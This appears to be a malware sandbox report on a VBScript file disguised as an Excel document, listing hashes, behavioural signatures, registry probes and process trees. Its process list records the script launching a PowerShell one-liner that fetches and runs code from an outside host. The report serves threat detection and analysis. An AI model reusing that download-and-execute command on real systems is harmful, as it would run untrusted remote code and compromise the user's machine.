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12-08-2024 11:41
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240404-y3t26aaa37 10Analysis
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max time kernel
76s -
max time network
64s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
12-08-2024 11:41
Static task
static1
Behavioral task
behavioral1
Sample
EXCEL_DOCUMENT_OPEN.vbs
Resource
win10v2004-20240802-en
windows10-2004-x64
10 signatures
150 seconds
General
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Target
EXCEL_DOCUMENT_OPEN.vbs
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Size
23KB
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MD5
6925ed4c3665b27592c356b0bbd4948d
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SHA1
7429a3929f68c87af85266c5d304f3e26e11a8c0
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SHA256
5237e653da5478c91e1de3d51a9713753b4bc1b4c9be8e9136cd9d94e216ae77
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SHA512
333ffd943ea86e75822f6c59412fe12b77f95ddeffd1f0286606faab19b595b27b528457158cc6afe2dcb75455ce9e1fb012ddf171f895135fc90e9d249599b6
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SSDEEP
384:J0Y5Y65Go4F0yNWe037NwNAUihUN+0X2RyiUiK3xYUif3JNB6Bcy:hYFFFNWe037NwNAUiKNIRyiUiK3xYUi2
Score
8/10
Malware Config
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 5 3480 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation WScript.exe -
pid Process 3480 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3480 powershell.exe 3480 powershell.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3480 powershell.exe Token: SeDebugPrivilege 3304 taskmgr.exe Token: SeSystemProfilePrivilege 3304 taskmgr.exe Token: SeCreateGlobalPrivilege 3304 taskmgr.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe 3304 taskmgr.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2184 wrote to memory of 3480 2184 WScript.exe 84 PID 2184 wrote to memory of 3480 2184 WScript.exe 84
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\EXCEL_DOCUMENT_OPEN.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2184 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'irreceiver.com/lcyqeksm')2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3480
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3304
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82